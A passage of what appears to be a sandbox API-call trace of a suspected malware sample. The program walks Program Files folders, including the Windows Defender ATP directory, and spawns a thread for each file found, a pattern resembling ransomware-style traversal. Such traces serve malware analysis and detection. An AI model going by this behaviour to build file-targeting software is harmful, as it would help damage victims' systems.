	[0073.712] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x38) returned 0x2d715c0
	[0073.712] wcscpy (in: _Dest=0x2d715c0, _Source="C:\\Program Files\\rempl" | out: _Dest="C:\\Program Files\\rempl") returned="C:\\Program Files\\rempl"
	[0073.712] wcscat (in: _Dest=0x2d715c0, _Source="\\" | out: _Dest="C:\\Program Files\\rempl\\") returned="C:\\Program Files\\rempl\\"
	[0073.712] wcscat (in: _Dest=0x2d715c0, _Source="Logs" | out: _Dest="C:\\Program Files\\rempl\\Logs") returned="C:\\Program Files\\rempl\\Logs"
	[0073.712] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d715c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6b0
	[0073.713] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76938800, ftCreationTime.dwHighDateTime=0x1d2e919, ftLastAccessTime.dwLowDateTime=0x59f55710, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x76938800, ftLastWriteTime.dwHighDateTime=0x1d2e919, nFileSizeHigh=0x0, nFileSizeLow=0xf2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="rempl.xml", cAlternateFileName="")) returned 1
	[0073.713] wcscmp (_String1="rempl.xml", _String2=".") returned 1
	[0073.713] wcscmp (_String1="rempl.xml", _String2="..") returned 1
	[0073.713] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x42) returned 0x4730470
	[0073.713] wcscpy (in: _Dest=0x4730470, _Source="C:\\Program Files\\rempl" | out: _Dest="C:\\Program Files\\rempl") returned="C:\\Program Files\\rempl"
	[0073.713] wcscat (in: _Dest=0x4730470, _Source="\\" | out: _Dest="C:\\Program Files\\rempl\\") returned="C:\\Program Files\\rempl\\"
	[0073.713] wcscat (in: _Dest=0x4730470, _Source="rempl.xml" | out: _Dest="C:\\Program Files\\rempl\\rempl.xml") returned="C:\\Program Files\\rempl\\rempl.xml"
	[0073.713] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4730470, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6b4
	[0073.714] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58a4a100, ftCreationTime.dwHighDateTime=0x1d3176b, ftLastAccessTime.dwLowDateTime=0x59f55710, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x58a4a100, ftLastWriteTime.dwHighDateTime=0x1d3176b, nFileSizeHigh=0x0, nFileSizeLow=0x65008, dwReserved0=0x0, dwReserved1=0x0, cFileName="remsh.exe", cAlternateFileName="")) returned 1
	[0073.714] wcscmp (_String1="remsh.exe", _String2=".") returned 1
	[0073.714] wcscmp (_String1="remsh.exe", _String2="..") returned 1
	[0073.714] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71ce1400, ftCreationTime.dwHighDateTime=0x1d2f63b, ftLastAccessTime.dwLowDateTime=0x59f55710, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x71ce1400, ftLastWriteTime.dwHighDateTime=0x1d2f63b, nFileSizeHigh=0x0, nFileSizeLow=0x605, dwReserved0=0x0, dwReserved1=0x0, cFileName="Unlock.xml", cAlternateFileName="")) returned 1
	[0073.714] wcscmp (_String1="Unlock.xml", _String2=".") returned 1
	[0073.714] wcscmp (_String1="Unlock.xml", _String2="..") returned 1
	[0073.714] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x44) returned 0x4730c40
	[0073.714] wcscpy (in: _Dest=0x4730c40, _Source="C:\\Program Files\\rempl" | out: _Dest="C:\\Program Files\\rempl") returned="C:\\Program Files\\rempl"
	[0073.714] wcscat (in: _Dest=0x4730c40, _Source="\\" | out: _Dest="C:\\Program Files\\rempl\\") returned="C:\\Program Files\\rempl\\"
	[0073.714] wcscat (in: _Dest=0x4730c40, _Source="Unlock.xml" | out: _Dest="C:\\Program Files\\rempl\\Unlock.xml") returned="C:\\Program Files\\rempl\\Unlock.xml"
	[0073.714] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4730c40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6b8
	[0073.714] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72079b10, ftCreationTime.dwHighDateTime=0x1d554e6, ftLastAccessTime.dwLowDateTime=0xfcb396a0, ftLastAccessTime.dwHighDateTime=0x1d5b05e, ftLastWriteTime.dwLowDateTime=0xfcb396a0, ftLastWriteTime.dwHighDateTime=0x1d5b05e, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="webdrive.exe", cAlternateFileName="")) returned 1
	[0073.715] wcscmp (_String1="webdrive.exe", _String2=".") returned 1
	[0073.715] wcscmp (_String1="webdrive.exe", _String2="..") returned 1
	[0073.715] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72079b10, ftCreationTime.dwHighDateTime=0x1d554e6, ftLastAccessTime.dwLowDateTime=0xfcb396a0, ftLastAccessTime.dwHighDateTime=0x1d5b05e, ftLastWriteTime.dwLowDateTime=0xfcb396a0, ftLastWriteTime.dwHighDateTime=0x1d5b05e, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="webdrive.exe", cAlternateFileName="")) returned 0
	[0073.715] FindClose (in: hFindFile=0x2d712c0 | out: hFindFile=0x2d712c0) returned 1
	[0073.715] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d85ee8) returned 1
	[0073.715] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d71100) returned 1
	[0073.715] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7c1f0) returned 1

Thread:
	id = 87
	os_tid = 0x12e0

	[0073.716] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x52) returned 0x2d778a0
	[0073.716] wcscpy (in: _Dest=0x2d778a0, _Source="C:\\Program Files\\Uninstall Information" | out: _Dest="C:\\Program Files\\Uninstall Information") returned="C:\\Program Files\\Uninstall Information"
	[0073.716] wcscat (in: _Dest=0x2d778a0, _Source="\\" | out: _Dest="C:\\Program Files\\Uninstall Information\\") returned="C:\\Program Files\\Uninstall Information\\"
	[0073.716] wcscat (in: _Dest=0x2d778a0, _Source="*" | out: _Dest="C:\\Program Files\\Uninstall Information\\*") returned="C:\\Program Files\\Uninstall Information\\*"
	[0073.716] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2d85ee8
	[0073.716] FindFirstFileW (in: lpFileName="C:\\Program Files\\Uninstall Information\\*", lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xd2709a20, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x3ba71695, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3ba71695, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d712c0
	[0073.716] wcscmp (_String1=".", _String2=".") returned 0
	[0073.716] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xd2709a20, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x3ba71695, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3ba71695, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0073.716] wcscmp (_String1="..", _String2=".") returned 1
	[0073.716] wcscmp (_String1="..", _String2="..") returned 0
	[0073.716] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd4c1ee0, ftCreationTime.dwHighDateTime=0x1d587a1, ftLastAccessTime.dwLowDateTime=0x1eb72490, ftLastAccessTime.dwHighDateTime=0x1d57993, ftLastWriteTime.dwLowDateTime=0x1eb72490, ftLastWriteTime.dwHighDateTime=0x1d57993, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="3dftp.exe", cAlternateFileName="")) returned 1
	[0073.716] wcscmp (_String1="3dftp.exe", _String2=".") returned 1
	[0073.716] wcscmp (_String1="3dftp.exe", _String2="..") returned 1
	[0073.716] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cd8dba0, ftCreationTime.dwHighDateTime=0x1d5bd13, ftLastAccessTime.dwLowDateTime=0x61b41dd0, ftLastAccessTime.dwHighDateTime=0x1d550e3, ftLastWriteTime.dwLowDateTime=0x61b41dd0, ftLastWriteTime.dwHighDateTime=0x1d550e3, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="breast experiments.exe", cAlternateFileName="BREAST~1.EXE")) returned 1
	[0073.716] wcscmp (_String1="breast experiments.exe", _String2=".") returned 1
	[0073.716] wcscmp (_String1="breast experiments.exe", _String2="..") returned 1
	[0073.716] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x299d0b60, ftCreationTime.dwHighDateTime=0x1d54d09, ftLastAccessTime.dwLowDateTime=0xac11b70, ftLastAccessTime.dwHighDateTime=0x1d57a8e, ftLastWriteTime.dwLowDateTime=0xac11b70, ftLastWriteTime.dwHighDateTime=0x1d57a8e, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="filezilla.exe", cAlternateFileName="FILEZI~1.EXE")) returned 1
	[0073.716] wcscmp (_String1="filezilla.exe", _String2=".") returned 1
	[0073.716] wcscmp (_String1="filezilla.exe", _String2="..") returned 1
	[0073.716] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e5dfa10, ftCreationTime.dwHighDateTime=0x1d5d593, ftLastAccessTime.dwLowDateTime=0x5b9bf190, ftLastAccessTime.dwHighDateTime=0x1d5c7f1, ftLastWriteTime.dwLowDateTime=0x5b9bf190, ftLastWriteTime.dwHighDateTime=0x1d5c7f1, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="mm opened elderly.exe", cAlternateFileName="MMOPEN~1.EXE")) returned 1
	[0073.716] wcscmp (_String1="mm opened elderly.exe", _String2=".") returned 1
	[0073.716] wcscmp (_String1="mm opened elderly.exe", _String2="..") returned 1
	[0073.716] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83cf26b0, ftCreationTime.dwHighDateTime=0x1d5c160, ftLastAccessTime.dwLowDateTime=0x61f41460, ftLastAccessTime.dwHighDateTime=0x1d566d9, ftLastWriteTime.dwLowDateTime=0x61f41460, ftLastWriteTime.dwHighDateTime=0x1d566d9, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="omnipos.exe", cAlternateFileName="")) returned 1
	[0073.716] wcscmp (_String1="omnipos.exe", _String2=".") returned 1
	[0073.717] wcscmp (_String1="omnipos.exe", _String2="..") returned 1
	[0073.717] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x177c06d0, ftCreationTime.dwHighDateTime=0x1d5aabe, ftLastAccessTime.dwLowDateTime=0x10ca1b10, ftLastAccessTime.dwHighDateTime=0x1d58d6d, ftLastWriteTime.dwLowDateTime=0x10ca1b10, ftLastWriteTime.dwHighDateTime=0x1d58d6d, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="thunderbird.exe", cAlternateFileName="THUNDE~1.EXE")) returned 1
	[0073.717] wcscmp (_String1="thunderbird.exe", _String2=".") returned 1
	[0073.717] wcscmp (_String1="thunderbird.exe", _String2="..") returned 1
	[0073.717] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xafdbde40, ftCreationTime.dwHighDateTime=0x1d56b77, ftLastAccessTime.dwLowDateTime=0xfba7f720, ftLastAccessTime.dwHighDateTime=0x1d562fb, ftLastWriteTime.dwLowDateTime=0xfba7f720, ftLastWriteTime.dwHighDateTime=0x1d562fb, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="winscp.exe", cAlternateFileName="")) returned 1
	[0073.717] wcscmp (_String1="winscp.exe", _String2=".") returned 1
	[0073.717] wcscmp (_String1="winscp.exe", _String2="..") returned 1
	[0073.717] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xafdbde40, ftCreationTime.dwHighDateTime=0x1d56b77, ftLastAccessTime.dwLowDateTime=0xfba7f720, ftLastAccessTime.dwHighDateTime=0x1d562fb, ftLastWriteTime.dwLowDateTime=0xfba7f720, ftLastWriteTime.dwHighDateTime=0x1d562fb, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="winscp.exe", cAlternateFileName="")) returned 0
	[0073.717] FindClose (in: hFindFile=0x2d712c0 | out: hFindFile=0x2d712c0) returned 1
	[0073.717] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d85ee8) returned 1
	[0073.717] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d778a0) returned 1
	[0073.717] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5a238) returned 1

Thread:
	id = 88
	os_tid = 0x12dc

	[0073.718] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x2e) returned 0x2d7be00
	[0073.718] wcscpy (in: _Dest=0x2d7be00, _Source="C:\\Program Files\\UNP" | out: _Dest="C:\\Program Files\\UNP") returned="C:\\Program Files\\UNP"
	[0073.718] wcscat (in: _Dest=0x2d7be00, _Source="\\" | out: _Dest="C:\\Program Files\\UNP\\") returned="C:\\Program Files\\UNP\\"
	[0073.718] wcscat (in: _Dest=0x2d7be00, _Source="*" | out: _Dest="C:\\Program Files\\UNP\\*") returned="C:\\Program Files\\UNP\\*"
	[0073.718] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2d85ee8
	[0073.718] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\*", lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x4c509d45, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x3b72a48d, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3b72a48d, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d712c0
	[0073.718] wcscmp (_String1=".", _String2=".") returned 0
	[0073.718] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x4c509d45, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x3b72a48d, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3b72a48d, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0073.718] wcscmp (_String1="..", _String2=".") returned 1
	[0073.718] wcscmp (_String1="..", _String2="..") returned 0
	[0073.718] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cce7eb0, ftCreationTime.dwHighDateTime=0x1d5d4e3, ftLastAccessTime.dwLowDateTime=0x43dded60, ftLastAccessTime.dwHighDateTime=0x1d57c60, ftLastWriteTime.dwLowDateTime=0x43dded60, ftLastWriteTime.dwHighDateTime=0x1d57c60, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="afr38.exe", cAlternateFileName="")) returned 1
	[0073.718] wcscmp (_String1="afr38.exe", _String2=".") returned 1
	[0073.718] wcscmp (_String1="afr38.exe", _String2="..") returned 1
	[0073.718] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x749f4454, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa747febb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x865d24d3, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CampaignManager", cAlternateFileName="CAMPAI~1")) returned 1
	[0073.718] wcscmp (_String1="CampaignManager", _String2=".") returned 1
	[0073.718] wcscmp (_String1="CampaignManager", _String2="..") returned 1
	[0073.718] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x4a) returned 0x2d85d90
	[0073.718] wcscpy (in: _Dest=0x2d85d90, _Source="C:\\Program Files\\UNP" | out: _Dest="C:\\Program Files\\UNP") returned="C:\\Program Files\\UNP"
	[0073.718] wcscat (in: _Dest=0x2d85d90, _Source="\\" | out: _Dest="C:\\Program Files\\UNP\\") returned="C:\\Program Files\\UNP\\"
	[0073.719] wcscat (in: _Dest=0x2d85d90, _Source="CampaignManager" | out: _Dest="C:\\Program Files\\UNP\\CampaignManager") returned="C:\\Program Files\\UNP\\CampaignManager"
	[0073.719] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d85d90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6bc
	[0073.719] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4c52ff94, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x73d2a2de, ftLastAccessTime.dwHighDateTime=0x1d5da5f, ftLastWriteTime.dwLowDateTime=0x73d2a2de, ftLastWriteTime.dwHighDateTime=0x1d5da5f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Logs", cAlternateFileName="")) returned 1
	[0073.720] wcscmp (_String1="Logs", _String2=".") returned 1
	[0073.720] wcscmp (_String1="Logs", _String2="..") returned 1
	[0073.720] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x34) returned 0x2d710c0
	[0073.720] wcscpy (in: _Dest=0x2d710c0, _Source="C:\\Program Files\\UNP" | out: _Dest="C:\\Program Files\\UNP") returned="C:\\Program Files\\UNP"
	[0073.720] wcscat (in: _Dest=0x2d710c0, _Source="\\" | out: _Dest="C:\\Program Files\\UNP\\") returned="C:\\Program Files\\UNP\\"
	[0073.720] wcscat (in: _Dest=0x2d710c0, _Source="Logs" | out: _Dest="C:\\Program Files\\UNP\\Logs") returned="C:\\Program Files\\UNP\\Logs"
	[0073.720] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d710c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6c0
	[0073.720] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x106b6e00, ftCreationTime.dwHighDateTime=0x1d2c1d0, ftLastAccessTime.dwLowDateTime=0x4c5561e0, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x106b6e00, ftLastWriteTime.dwHighDateTime=0x1d2c1d0, nFileSizeHigh=0x0, nFileSizeLow=0xc86, dwReserved0=0x0, dwReserved1=0x0, cFileName="Task.xml", cAlternateFileName="")) returned 1
	[0073.720] wcscmp (_String1="Task.xml", _String2=".") returned 1
	[0073.720] wcscmp (_String1="Task.xml", _String2="..") returned 1
	[0073.720] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x3c) returned 0x2d73228
	[0073.720] wcscpy (in: _Dest=0x2d73228, _Source="C:\\Program Files\\UNP" | out: _Dest="C:\\Program Files\\UNP") returned="C:\\Program Files\\UNP"
	[0073.721] wcscat (in: _Dest=0x2d73228, _Source="\\" | out: _Dest="C:\\Program Files\\UNP\\") returned="C:\\Program Files\\UNP\\"
	[0073.721] wcscat (in: _Dest=0x2d73228, _Source="Task.xml" | out: _Dest="C:\\Program Files\\UNP\\Task.xml") returned="C:\\Program Files\\UNP\\Task.xml"
	[0073.721] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d73228, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6c4
	[0073.721] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x106b6e00, ftCreationTime.dwHighDateTime=0x1d2c1d0, ftLastAccessTime.dwLowDateTime=0x4c5561e0, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x106b6e00, ftLastWriteTime.dwHighDateTime=0x1d2c1d0, nFileSizeHigh=0x0, nFileSizeLow=0xc86, dwReserved0=0x0, dwReserved1=0x0, cFileName="Task.xml", cAlternateFileName="")) returned 0
	[0073.721] FindClose (in: hFindFile=0x2d712c0 | out: hFindFile=0x2d712c0) returned 1
	[0073.721] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d85ee8) returned 1
	[0073.721] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7be00) returned 1
	[0073.721] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7bd58) returned 1

Thread:
	id = 89
	os_tid = 0x13b4

	[0073.732] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x7e) returned 0x2d5b2a8
	[0073.732] wcscpy (in: _Dest=0x2d5b2a8, _Source="C:\\Program Files\\Windows Defender Advanced Threat Protection" | out: _Dest="C:\\Program Files\\Windows Defender Advanced Threat Protection") returned="C:\\Program Files\\Windows Defender Advanced Threat Protection"
	[0073.732] wcscat (in: _Dest=0x2d5b2a8, _Source="\\" | out: _Dest="C:\\Program Files\\Windows Defender Advanced Threat Protection\\") returned="C:\\Program Files\\Windows Defender Advanced Threat Protection\\"
	[0073.732] wcscat (in: _Dest=0x2d5b2a8, _Source="*" | out: _Dest="C:\\Program Files\\Windows Defender Advanced Threat Protection\\*") returned="C:\\Program Files\\Windows Defender Advanced Threat Protection\\*"
	[0073.733] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2d85ee8
	[0073.733] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Defender Advanced Threat Protection\\*", lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x3b72a48d, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3b72a48d, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d71100
	[0073.733] wcscmp (_String1=".", _String2=".") returned 0
	[0073.733] FindNextFileW (in: hFindFile=0x2d71100, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x3b72a48d, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3b72a48d, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0073.733] wcscmp (_String1="..", _String2=".") returned 1
	[0073.733] wcscmp (_String1="..", _String2="..") returned 0
	[0073.733] FindNextFileW (in: hFindFile=0x2d71100, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6dbd7e0, ftCreationTime.dwHighDateTime=0x1d58487, ftLastAccessTime.dwLowDateTime=0x705d4320, ftLastAccessTime.dwHighDateTime=0x1d57145, ftLastWriteTime.dwLowDateTime=0x705d4320, ftLastWriteTime.dwHighDateTime=0x1d57145, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="aldelo.exe", cAlternateFileName="")) returned 1
	[0073.733] wcscmp (_String1="aldelo.exe", _String2=".") returned 1
	[0073.733] wcscmp (_String1="aldelo.exe", _String2="..") returned 1
	[0073.733] FindNextFileW (in: hFindFile=0x2d71100, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91ceaaa0, ftCreationTime.dwHighDateTime=0x1d58561, ftLastAccessTime.dwLowDateTime=0x55b95bf0, ftLastAccessTime.dwHighDateTime=0x1d59c77, ftLastWriteTime.dwLowDateTime=0x55b95bf0, ftLastWriteTime.dwHighDateTime=0x1d59c77, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="coreftp.exe", cAlternateFileName="")) returned 1
	[0073.733] wcscmp (_String1="coreftp.exe", _String2=".") returned 1
	[0073.733] wcscmp (_String1="coreftp.exe", _String2="..") returned 1
	[0073.733] FindNextFileW (in: hFindFile=0x2d71100, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa8fde773, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe8231541, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0073.733] wcscmp (_String1="en-US", _String2=".") returned 1
	[0073.733] wcscmp (_String1="en-US", _String2="..") returned 1
	[0073.733] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x86) returned 0x2d7b150
	[0073.733] wcscpy (in: _Dest=0x2d7b150, _Source="C:\\Program Files\\Windows Defender Advanced Threat Protection" | out: _Dest="C:\\Program Files\\Windows Defender Advanced Threat Protection") returned="C:\\Program Files\\Windows Defender Advanced Threat Protection"
